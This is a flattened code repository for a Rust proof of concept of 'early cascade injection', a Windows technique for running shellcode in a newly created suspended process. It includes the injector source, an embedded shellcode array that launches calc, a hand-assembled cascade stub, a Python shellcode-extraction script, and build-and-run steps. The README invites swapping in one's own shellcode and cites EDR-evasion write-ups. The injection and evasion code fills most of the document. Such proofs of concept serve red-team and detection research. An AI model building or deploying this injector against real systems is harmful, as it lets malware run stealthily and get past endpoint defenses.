├── .gitignore ├── LICENSE ├── README.md ├── ecinject_rs ├── Cargo.toml ├── README.md └── src │ ├── func.rs │ ├── lib.rs │ ├── main.rs │ └── proto.rs └── paystub ├── Cargo.toml ├── extract.py └── src └── main.rs /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | *.bin 6 | 7 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 8 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 9 | Cargo.lock 10 | 11 | # These are backup files generated by rustfmt 12 | **/*.rs.bk 13 | 14 | # MSVC Windows builds of rustc generate these, which store debugging information 15 | *.pdb 16 | 17 | # RustRover 18 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 19 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 20 | # and can be added to the global gitignore or merged into this file. For a more nuclear 21 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 22 | #.idea/ -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Kirk Trychel 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # early_cascade_inj_rs 2 | early cascade injection PoC based on Outflanks blog post, in rust 3 | 4 | shout out to https://github.com/Cracked5pider for his release that helped me solve the issue with access violation on the overwritten g_pfnSE_DllLoaded.
5 | also note that in my original PoC, I wanted to use NtMapViewofSection instead of NtWriteVirtualMemory, but I had issues with the final payload address. So if you had the same issue, try changing that. 6 | 7 | ##### Reference / Credit: 8 | 9 | - https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/ 10 | - https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html 11 | - https://github.com/Cracked5pider/earlycascade-injection (I directly took his cascade_stub and extract.py) 12 | 13 | testing usage:
14 | - build the paystub binary and extract its shellcode with extract.py.
15 | ```early_cascade_inj_rs>\paystub> cargo build --release```
16 | ```early_cascade_inj_rs\paystub> python .\extract.py -f ./target/release/paystub.exe -o loader.bin```
17 | - build the ecinject_rs binary
18 | ```early_cascade_inj_rs>\ecinject_rs> cargo build --bin ecinject_rs --release```
19 | - pass the *.bin file from extract.py to the ecinject_rs binary as an arg
20 | ```\early_cascade_inj_rs> .\ecinject_rs\target\release\ecinject_rs.exe .\paystub\loader.bin```
21 | - the TEST_CODE shellcode will pop calc. swap it out with your own shellcode if you want. 22 | -------------------------------------------------------------------------------- /ecinject_rs/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ecinject_rs" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [lib] 7 | path = "src/lib.rs" 8 | crate-type = ["staticlib", "cdylib"] 9 | 10 | [dependencies] 11 | litcrypt = "0.3.0" 12 | noldr = { git = "https://github.com/Teach2Breach/noldr.git", branch = "main" } 13 | ntapi = "0.4.1" 14 | winapi = { version = "0.3.9", features = ["winbase"] } 15 | md-5 = "0.10.6" 16 | 17 | 18 | [dependencies.windows] 19 | version = "0.51" 20 | features = [ 21 | "Win32_Foundation", 22 | ] -------------------------------------------------------------------------------- /ecinject_rs/README.md: -------------------------------------------------------------------------------- 1 | TODO 2 | -------------------------------------------------------------------------------- /ecinject_rs/src/func.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case)] 2 | #![allow(improper_ctypes)] 3 | #![allow(improper_ctypes_definitions)] 4 | #[allow(unused_variables)] 5 | 6 | use noldr::{get_function_address, RTL_USER_PROCESS_PARAMETERS, UNICODE_STRING}; 7 | 8 | use ntapi::ntpsapi::{ 9 | PS_ATTRIBUTE_u, PsCreateInitialState, PS_ATTRIBUTE, PS_ATTRIBUTE_IMAGE_NAME, PS_CREATE_INFO, 10 | }; 11 | use ntapi::ntrtl::RTL_USER_PROC_PARAMS_NORMALIZED; 12 | 13 | use std::mem::zeroed; 14 | use std::ptr::{self, null_mut}; 15 | use winapi::ctypes::c_void; 16 | use winapi::shared::basetsd::SIZE_T; 17 | use winapi::shared::ntdef::HANDLE as winapi_HANDLE; 18 | use winapi::shared::ntdef::NT_SUCCESS; 19 | use winapi::um::winnt::{MEM_COMMIT, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS}; 20 | use windows::Win32::Foundation::HANDLE; 21 | 22 | use md5::{Digest, Md5}; 23 | 24 | use winapi::shared::{ 25 | basetsd::{PSIZE_T, ULONG_PTR}, 26 | minwindef::{FARPROC, PULONG, ULONG}, 27 | ntdef::{ 28 | NTSTATUS, PVOID, 29 | }, 30 | }; 31 | 32 | #[repr(C)] 33 | struct PsAttributeList { 34 | total_length: SIZE_T, 35 | attributes: [PS_ATTRIBUTE; 2], 36 | } 37 | 38 | //create suspended process with NtCreateUserProcess 39 | pub extern "C" fn CreateSuspendedProcess(ntdll: *const std::ffi::c_void) -> (HANDLE, HANDLE) { 40 | unsafe { 41 | //locate NtCreateUserProcess 42 | let function_address = get_function_address(ntdll, "NtCreateUserProcess").unwrap(); 43 | let NtCreateUserProcess = std::mem::transmute::< 44 | _, 45 | extern "system" fn( 46 | ProcessHandle: *mut HANDLE, 47 | ThreadHandle: *mut HANDLE, 48 | ProcessDesiredAccess: u32, 49 | ThreadDesiredAccess: u32, 50 | ProcessObjectAttributes: *mut c_void, 51 | ThreadObjectAttributes: *mut c_void, 52 | ProcessFlags: u32, 53 | ThreadFlags: u32, 54 | ProcessParameters: *mut c_void, 55 | CreateInfo: *mut PS_CREATE_INFO, 56 | AttributeList: *mut PsAttributeList, 57 | ) -> i32, 58 | >(function_address); 59 | println!("NtCreateUserProcess: {:?}", NtCreateUserProcess); 60 | 61 | //locate RtlInitUnicodeString 62 | let function_address = get_function_address(ntdll, "RtlInitUnicodeString").unwrap(); 63 | let RtlInitUnicodeString = std::mem::transmute::< 64 | _, 65 | extern "system" fn(*mut UNICODE_STRING, *const u16), 66 | >(function_address); 67 | println!("RtlInitUnicodeString: {:?}", RtlInitUnicodeString); 68 | 69 | //locate RtlCreateProcessParametersEx 70 | let function_address = get_function_address(ntdll, "RtlCreateProcessParametersEx").unwrap(); 71 | let RtlCreateProcessParametersEx = std::mem::transmute::< 72 | _, 73 | extern "system" fn( 74 | *mut *mut RTL_USER_PROCESS_PARAMETERS, // pProcessParameters 75 | *mut UNICODE_STRING, // ImagePathName 76 | *mut UNICODE_STRING, // DllPath 77 | *mut UNICODE_STRING, // CurrentDirectory 78 | *mut UNICODE_STRING, // CommandLine 79 | *mut c_void, // Environment 80 | *mut UNICODE_STRING, // WindowTitle 81 | *mut UNICODE_STRING, // DesktopInfo 82 | *mut UNICODE_STRING, // ShellInfo 83 | *mut UNICODE_STRING, // RuntimeData 84 | u32, // Flags 85 | ) -> i32, 86 | >(function_address); 87 | println!( 88 | "RtlCreateProcessParametersEx: {:?}", 89 | RtlCreateProcessParametersEx 90 | ); 91 | 92 | let nt_image_path = r"\??\C:\Windows\System32\cmd.exe"; 93 | let mut nt_image_path: Vec = nt_image_path.encode_utf16().collect(); 94 | nt_image_path.push(0); 95 | 96 | let mut nt_image_path_unicode: UNICODE_STRING = std::mem::zeroed(); 97 | RtlInitUnicodeString(&mut nt_image_path_unicode, nt_image_path.as_ptr()); 98 | 99 | let mut process_params: *mut RTL_USER_PROCESS_PARAMETERS = null_mut(); 100 | let status = RtlCreateProcessParametersEx( 101 | &mut process_params, 102 | &mut nt_image_path_unicode, 103 | null_mut(), 104 | null_mut(), 105 | null_mut(), 106 | null_mut(), 107 | null_mut(), 108 | null_mut(), 109 | null_mut(), 110 | null_mut(), 111 | RTL_USER_PROC_PARAMS_NORMALIZED, 112 | ); 113 | 114 | if !NT_SUCCESS(status) { 115 | println!("err 1: {:x}", status); 116 | return (HANDLE(0), HANDLE(0)); 117 | } 118 | 119 | let mut create_info: PS_CREATE_INFO = zeroed(); 120 | create_info.Size = std::mem::size_of::(); 121 | create_info.State = PsCreateInitialState; 122 | 123 | let ps_attribute = PS_ATTRIBUTE { 124 | Attribute: PS_ATTRIBUTE_IMAGE_NAME, 125 | Size: nt_image_path_unicode.Length as usize, 126 | u: PS_ATTRIBUTE_u { 127 | ValuePtr: nt_image_path_unicode.Buffer as *mut _, 128 | }, 129 | ReturnLength: ptr::null_mut(), 130 | }; 131 | 132 | let empty_attr: PS_ATTRIBUTE = zeroed(); 133 | let ps_attribute_list = PsAttributeList { 134 | total_length: std::mem::size_of::() - size_of::(), // 40 (72 - 32) 135 | attributes: [ps_attribute, empty_attr], // Only include the first attribute here 136 | }; 137 | 138 | let ps_attribute_list = std::mem::transmute(&ps_attribute_list); 139 | let create_info = std::mem::transmute(&create_info); 140 | 141 | let mut process_handle: HANDLE = HANDLE(0); 142 | let mut thread_handle: HANDLE = HANDLE(0); 143 | let process_handle_ptr = &mut process_handle as *mut HANDLE; 144 | let thread_handle_ptr = &mut thread_handle as *mut HANDLE; 145 | 146 | let status = NtCreateUserProcess( 147 | process_handle_ptr, 148 | thread_handle_ptr, 149 | PROCESS_ALL_ACCESS, 150 | THREAD_ALL_ACCESS, 151 | null_mut(), 152 | null_mut(), 153 | 0, 154 | 1, 155 | process_params as *mut c_void, 156 | create_info, 157 | ps_attribute_list, 158 | ); 159 | 160 | if !NT_SUCCESS(status) { 161 | println!("err 2: {:x}", status); 162 | return (HANDLE(0), HANDLE(0)); 163 | } 164 | 165 | (process_handle, thread_handle) 166 | } 167 | } 168 | 169 | //here we will have a function for calculating the md5 hash of the ntdll on disk 170 | //this will be useful for testing with different versions of ntdll 171 | pub extern "C" fn CalculateNtdllMd5() -> *mut i8 { 172 | let ntdll_path = r"C:\Windows\System32\ntdll.dll"; 173 | let mut ntdll_hash = Md5::new(); 174 | let ntdll_bytes = std::fs::read(ntdll_path).unwrap(); 175 | ntdll_hash.update(&ntdll_bytes); 176 | let hash = format!("{:x}", ntdll_hash.finalize()); 177 | 178 | // Convert to C string and leak (caller must free) 179 | let c_str = std::ffi::CString::new(hash).unwrap(); 180 | c_str.into_raw() 181 | } 182 | 183 | pub extern "C" fn MapShellcodes( 184 | process: winapi_HANDLE, 185 | cascade_stub: &[u8], 186 | paystub: &[u8], 187 | final_payload: &[u8], 188 | ntdll: *const std::ffi::c_void, 189 | g_ShimsEnabled_addr: usize, 190 | ) -> PVOID { 191 | unsafe { 192 | // Calculate total size needed 193 | let size = (cascade_stub.len() + paystub.len() + final_payload.len()) as SIZE_T; 194 | 195 | // Get NtAllocateVirtualMemory function 196 | let NtAllocateVirtualMemory = std::mem::transmute::<_, extern "system" fn( 197 | ProcessHandle: winapi_HANDLE, 198 | BaseAddress: *mut PVOID, 199 | ZeroBits: ULONG_PTR, 200 | RegionSize: PSIZE_T, 201 | AllocationType: ULONG, 202 | Protect: ULONG, 203 | ) -> NTSTATUS>(get_function_address(ntdll, "NtAllocateVirtualMemory").unwrap()); 204 | 205 | // Allocate memory in target process 206 | let mut remote_base: PVOID = null_mut(); 207 | let mut alloc_size = size; 208 | let result = NtAllocateVirtualMemory( 209 | process, 210 | &mut remote_base, 211 | 0, 212 | &mut alloc_size, 213 | MEM_COMMIT, 214 | PAGE_READWRITE 215 | ); 216 | 217 | if !NT_SUCCESS(result) { 218 | println!("NtAllocateVirtualMemory Failed: {:x}", result); 219 | return null_mut(); 220 | } 221 | 222 | // Create patched version of cascade_stub 223 | let mut patched_stub = cascade_stub.to_vec(); 224 | 225 | // Calculate addresses for patching 226 | let _paystub_addr = (remote_base as usize + cascade_stub.len()) as u64; 227 | let final_payload_addr = (remote_base as usize + cascade_stub.len() + paystub.len()) as u64; 228 | let nt_queue_apc = get_function_address(ntdll, "NtQueueApcThread").unwrap() as u64; 229 | 230 | // Patch the values 231 | if let Some(offset) = find_pattern(&patched_stub, 0x6666666666666666) { 232 | patched_stub[offset..offset + 8].copy_from_slice(&nt_queue_apc.to_le_bytes()); 233 | } 234 | if let Some(offset) = find_pattern(&patched_stub, 0x7777777777777777) { 235 | patched_stub[offset..offset + 8].copy_from_slice(&(paystub.len() as u64).to_le_bytes()); 236 | } 237 | if let Some(offset) = find_pattern(&patched_stub, 0x8888888888888888) { 238 | patched_stub[offset..offset + 8].copy_from_slice(&final_payload_addr.to_le_bytes()); 239 | } 240 | if let Some(offset) = find_pattern(&patched_stub, 0x9999999999999999) { 241 | patched_stub[offset..offset + 8].copy_from_slice(&(g_ShimsEnabled_addr as u64).to_le_bytes()); 242 | } 243 | 244 | // Get NtWriteVirtualMemory function 245 | let NtWriteVirtualMemory: unsafe extern "system" fn( 246 | ProcessHandle: winapi_HANDLE, 247 | BaseAddress: PVOID, 248 | Buffer: PVOID, 249 | BufferSize: SIZE_T, 250 | NumberOfBytesWritten: PSIZE_T, 251 | ) -> NTSTATUS = std::mem::transmute(get_function_address(ntdll, "NtWriteVirtualMemory").unwrap()); 252 | 253 | // Write all components directly to target process 254 | let mut bytes_written: SIZE_T = 0; 255 | 256 | // Write cascade stub 257 | let _result = NtWriteVirtualMemory( 258 | process, 259 | remote_base, 260 | patched_stub.as_ptr() as PVOID, 261 | patched_stub.len() as SIZE_T, 262 | &mut bytes_written, 263 | ); 264 | 265 | // Write paystub 266 | let _result = NtWriteVirtualMemory( 267 | process, 268 | (remote_base as usize + cascade_stub.len()) as PVOID, 269 | paystub.as_ptr() as PVOID, 270 | paystub.len() as SIZE_T, 271 | &mut bytes_written, 272 | ); 273 | 274 | // Write final payload 275 | let _result = NtWriteVirtualMemory( 276 | process, 277 | (remote_base as usize + cascade_stub.len() + paystub.len()) as PVOID, 278 | final_payload.as_ptr() as PVOID, 279 | final_payload.len() as SIZE_T, 280 | &mut bytes_written, 281 | ); 282 | 283 | //change the protection of the memory to execute but not write 284 | let NtProtectVirtualMemory = std::mem::transmute::<_, extern "system" fn( 285 | ProcessHandle: winapi_HANDLE, 286 | BaseAddress: *mut PVOID, 287 | RegionSize: PSIZE_T, 288 | NewProtect: ULONG, 289 | OldProtect: PULONG, 290 | ) -> NTSTATUS>(get_function_address(ntdll, "NtProtectVirtualMemory").unwrap()); 291 | 292 | let mut base_addr = remote_base; 293 | let mut region_size = size; 294 | let mut old_protect: ULONG = 0; 295 | 296 | let _result = NtProtectVirtualMemory( 297 | process, 298 | &mut base_addr, 299 | &mut region_size, 300 | PAGE_EXECUTE_READ, 301 | &mut old_protect 302 | ); 303 | 304 | println!("TEST_CODE (final_payload) will be at: 0x{:x}", 305 | remote_base as usize + cascade_stub.len() + paystub.len()); 306 | 307 | remote_base 308 | } 309 | } 310 | 311 | fn find_pattern(data: &[u8], pattern: u64) -> Option { 312 | let pattern_bytes = pattern.to_le_bytes(); 313 | data.windows(8) 314 | .position(|window| window == pattern_bytes) 315 | } 316 | 317 | //now we need to overwrite the address of g_pfnSE_DllLoaded with the address of the shellcode 318 | pub extern "C" fn OverwriteSE_DllLoaded( 319 | new_handle: winapi_HANDLE, 320 | shellcode_addr: PVOID, 321 | g_pfnSE_DllLoaded_addr: usize, 322 | g_ShimsEnabled_addr: usize, 323 | ntdll: *const std::ffi::c_void, 324 | ) -> NTSTATUS { 325 | unsafe { 326 | println!("Target process handle: {:?}", new_handle); 327 | println!("Shellcode address to write: {:p}", shellcode_addr); 328 | println!( 329 | "g_pfnSE_DllLoaded address to update: 0x{:x}", 330 | g_pfnSE_DllLoaded_addr 331 | ); 332 | println!( 333 | "g_ShimsEnabled address to update: 0x{:x}", 334 | g_ShimsEnabled_addr 335 | ); 336 | 337 | let function_address = get_function_address(ntdll, "NtWriteVirtualMemory").unwrap(); 338 | let NtWriteVirtualMemory: unsafe extern "system" fn( 339 | ProcessHandle: winapi_HANDLE, 340 | BaseAddress: PVOID, 341 | Buffer: PVOID, 342 | BufferSize: SIZE_T, 343 | NumberOfBytesWritten: PSIZE_T, 344 | ) -> NTSTATUS = std::mem::transmute(function_address); 345 | 346 | // Get SharedUserCookie from KUSER_SHARED_DATA 347 | let shared_user_cookie = *(0x7FFE0330 as *const u32); 348 | 349 | // Encode pointer: 350 | // 1. XOR with SharedUserCookie 351 | // 2. Rotate right by (SharedUserCookie & 0x3F) 352 | let target_addr = shellcode_addr as usize; 353 | let xored = target_addr ^ (shared_user_cookie as usize); 354 | let final_value = xored.rotate_right(shared_user_cookie & 0x3F); 355 | 356 | let mut bytes_written: SIZE_T = 0; 357 | 358 | let result = NtWriteVirtualMemory( 359 | new_handle, 360 | g_pfnSE_DllLoaded_addr as PVOID, 361 | &final_value as *const _ as PVOID, 362 | std::mem::size_of::() as SIZE_T, 363 | &mut bytes_written, 364 | ); 365 | 366 | println!("Original shellcode addr: 0x{:x}", shellcode_addr as usize); 367 | println!("Encoded shellcode addr: 0x{:x}", final_value); 368 | println!("Write result for g_pfnSE_DllLoaded: 0x{:x}", result); 369 | println!("Bytes written: {}", bytes_written); 370 | 371 | // Write 1 to g_ShimsEnabled 372 | let shims_value: u32 = 1; 373 | let shims_result = NtWriteVirtualMemory( 374 | new_handle, 375 | g_ShimsEnabled_addr as PVOID, 376 | &shims_value as *const _ as PVOID, 377 | std::mem::size_of::() as SIZE_T, 378 | &mut bytes_written, 379 | ); 380 | 381 | println!("Write result for g_ShimsEnabled: 0x{:x}", shims_result); 382 | println!("Bytes written: {}", bytes_written); 383 | 384 | // Return the last result (or you could combine them if you prefer) 385 | shims_result 386 | } 387 | } 388 | 389 | //now we need to resume the thread in the target process 390 | pub extern "C" fn ResumeThread( 391 | thread_handle: winapi_HANDLE, 392 | ntdll: *const std::ffi::c_void, 393 | ) -> NTSTATUS { 394 | let function_address = get_function_address(ntdll, "NtAlertResumeThread").unwrap(); 395 | 396 | let NtAlertResumeThread: unsafe fn( 397 | ThreadHandle: winapi_HANDLE, 398 | PreviousSuspendCount: PULONG, 399 | ) -> NTSTATUS = unsafe { std::mem::transmute(function_address as FARPROC) }; 400 | 401 | let mut previous_suspend_count: ULONG = 0; 402 | 403 | let resumeresult = unsafe { NtAlertResumeThread(thread_handle, &mut previous_suspend_count) }; 404 | 405 | resumeresult 406 | } 407 | -------------------------------------------------------------------------------- /ecinject_rs/src/lib.rs: -------------------------------------------------------------------------------- 1 | mod proto; 2 | mod func; 3 | #[macro_use] 4 | extern crate litcrypt; 5 | 6 | use_litcrypt!(); 7 | 8 | pub extern fn main() { 9 | proto::Pick(); 10 | } -------------------------------------------------------------------------------- /ecinject_rs/src/main.rs: -------------------------------------------------------------------------------- 1 | mod proto; 2 | mod func; 3 | #[macro_use] 4 | extern crate litcrypt; 5 | 6 | use_litcrypt!(); 7 | 8 | fn main() { 9 | proto::Pick(); 10 | } 11 | -------------------------------------------------------------------------------- /ecinject_rs/src/proto.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_snake_case)] 2 | 3 | use crate::func::{self, CalculateNtdllMd5}; 4 | 5 | use noldr::{get_dll_address, get_teb}; 6 | 7 | use winapi::shared::ntdef::HANDLE as winapi_HANDLE; 8 | use winapi::um::processthreadsapi::GetProcessId; 9 | use std::fs::read; 10 | use std::env; 11 | 12 | //build paystub and extract the shellcode with paystub/extract.py -f ./target/release/paystub.exe -o loader.bin 13 | //copy the loader.bin to the same directory as this executable 14 | pub fn get_paystub() -> Vec { 15 | let args: Vec = env::args().collect(); 16 | 17 | if args.len() != 2 { 18 | eprintln!("Error: Missing loader file path"); 19 | eprintln!("Usage: {} ", args.get(0).unwrap_or(&String::from("program"))); 20 | eprintln!("Example: {} loader.bin", args.get(0).unwrap_or(&String::from("program"))); 21 | std::process::exit(1); 22 | } 23 | 24 | let loader_path = &args[1]; 25 | match read(loader_path) { 26 | Ok(data) => data, 27 | Err(e) => { 28 | eprintln!("Error reading file '{}': {}", loader_path, e); 29 | eprintln!("Please ensure the file exists and you have permission to read it."); 30 | std::process::exit(1); 31 | } 32 | } 33 | } 34 | //this shellcode pops calc 35 | pub const TEST_CODE: [u8; 276] = [ 36 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 37 | 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 38 | 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 39 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 40 | 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 41 | 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 42 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 43 | 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 44 | 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 45 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 46 | 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 47 | 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 48 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 49 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 50 | 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 51 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 52 | 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 53 | 0x65, 0x78, 0x65, 0x00, 54 | ]; 55 | 56 | pub const CASCADE_STUB: [u8; 66] = [ 57 | 0x48, 0x83, 0xec, 0x38, // sub rsp, 38h 58 | 0x33, 0xc0, // xor eax, eax 59 | 0x45, 0x33, 0xc9, // xor r9d, r9d 60 | 0x48, 0x21, 0x44, 0x24, 0x20, // and [rsp+38h+var_18], rax 61 | 0x48, 0xba, // mov rdx, 62 | 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, // 8888888888888888h 63 | 0xa2, // mov ds:[...], al 64 | 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, // 9999999999999999h 65 | 0x49, 0xb8, // mov r8, 66 | 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, // 7777777777777777h 67 | 0x48, 0x8d, 0x48, 0xfe, // lea rcx, [rax-2] 68 | 0x48, 0xb8, // mov rax, 69 | 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, // 6666666666666666h 70 | 0xff, 0xd0, // call rax 71 | 0x33, 0xc0, // xor eax, eax 72 | 0x48, 0x83, 0xc4, 0x38, // add rsp, 38h 73 | 0xc3 // retn 74 | ]; 75 | 76 | #[no_mangle] 77 | pub extern "system" fn Pick() { 78 | 79 | let paystub = get_paystub(); 80 | 81 | let teb = get_teb(); 82 | println!("teb: {:?}", teb); 83 | 84 | //need to add error handling 85 | let ntdll = get_dll_address("ntdll.dll".to_string(), teb).unwrap(); 86 | println!("ntdll: {:?}", ntdll); 87 | 88 | //check the ntdll hash 89 | let ntdll_hash = CalculateNtdllMd5(); 90 | let ntdll_hash_str = unsafe { std::ffi::CStr::from_ptr(ntdll_hash).to_string_lossy() }; 91 | println!("Ntdll Hash: {}", ntdll_hash_str); 92 | 93 | // Set offsets based on ntdll hash 94 | let (g_ShimsEnabled_offset, g_pfnSE_DllLoaded_offset) = match ntdll_hash_str.as_ref() { 95 | "e54c7c4f01b53d2e5629871757f86a39" => (0x186CF0, 0x19B270), 96 | // Add more hash matches here for different ntdll versions 97 | _ => panic!("Unsupported ntdll version with hash: {}", ntdll_hash_str), 98 | }; 99 | 100 | //if the hash is found, we calculate the locations of g_ShimsEnabled and g_pfnSE_DllLoaded 101 | let g_ShimsEnabled = ntdll as *mut u8 as usize + g_ShimsEnabled_offset; 102 | let g_pfnSE_DllLoaded = ntdll as *mut u8 as usize + g_pfnSE_DllLoaded_offset; 103 | println!("Calculating locations based on ntdll hash"); 104 | //print offsets 105 | println!("g_ShimsEnabled_offset: 0x{:x}", g_ShimsEnabled_offset); 106 | println!("g_pfnSE_DllLoaded_offset: 0x{:x}", g_pfnSE_DllLoaded_offset); 107 | //print the calculated locations 108 | println!("g_ShimsEnabled: 0x{:x}", g_ShimsEnabled); 109 | println!("g_pfnSE_DllLoaded: 0x{:x}", g_pfnSE_DllLoaded); 110 | 111 | //create a suspended process 112 | println!("Creating suspended process"); 113 | let handles = func::CreateSuspendedProcess(ntdll); 114 | let handle = handles.0; 115 | let thread = handles.1; 116 | println!("Child Process Handle: 0x{:x}", handle.0); 117 | 118 | //get the pid for the handle and print it 119 | let pid = unsafe { GetProcessId(handle.0 as *mut _) }; 120 | println!("Child Process ID: {}", pid); 121 | 122 | //here we will write some shellcodes to memory, the paystub and payload. 123 | //TODO 124 | println!("Mapping Cascade Stub and Shellcode"); 125 | 126 | let scbase = func::MapShellcodes( 127 | handle.0 as winapi_HANDLE, 128 | &CASCADE_STUB, 129 | &paystub, 130 | &TEST_CODE, 131 | ntdll, 132 | g_ShimsEnabled, 133 | ); 134 | println!("Base address: {:x?}", scbase); 135 | 136 | //unsafe { func::check_memory_permissions(handle.0 as winapi_HANDLE, scbase, ntdll); } 137 | 138 | //now we need to overwrite g_pfnSE_DllLoaded with shellcode address and set g_ShimsEnabled to 1 139 | println!("Overwriting g_pfnSE_DllLoaded and g_ShimsEnabled"); 140 | let result = func::OverwriteSE_DllLoaded( 141 | handle.0 as winapi_HANDLE, 142 | scbase, 143 | g_pfnSE_DllLoaded, 144 | g_ShimsEnabled, 145 | ntdll, 146 | ); 147 | println!("Result: {:x?}", result); 148 | 149 | /* 150 | //here we will pause for user input 151 | //i was doing this for debugging purposes 152 | println!("Press Enter to continue..."); 153 | let _ = std::io::stdin().read_line(&mut String::new()); 154 | */ 155 | //resume the thread 156 | println!("Resuming thread"); 157 | let resume_result = func::ResumeThread(thread.0 as winapi_HANDLE, ntdll); 158 | println!("Resume result: {:x?}", resume_result); 159 | 160 | } 161 | -------------------------------------------------------------------------------- /paystub/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "paystub" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | winapi = { version = "0.3.9", features = ["memoryapi", "libloaderapi", "processthreadsapi"]} 8 | ntapi = "0.4.1" 9 | -------------------------------------------------------------------------------- /paystub/extract.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding:utf-8 -*- 3 | import pefile 4 | import argparse 5 | 6 | if __name__ in '__main__': 7 | try: 8 | parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' ); 9 | parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str ); 10 | parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str ); 11 | option = parser.parse_args(); 12 | 13 | PeExe = pefile.PE( option.f ); 14 | PeSec = PeExe.sections[0].get_data(); 15 | 16 | if PeSec.find( b'ENDOFCODE' ) != None: 17 | ScRaw = PeSec[ : PeSec.find( b'ENDOFCODE' ) ]; 18 | f = open( option.o, 'wb+' ); 19 | f.write( ScRaw ); 20 | f.close(); 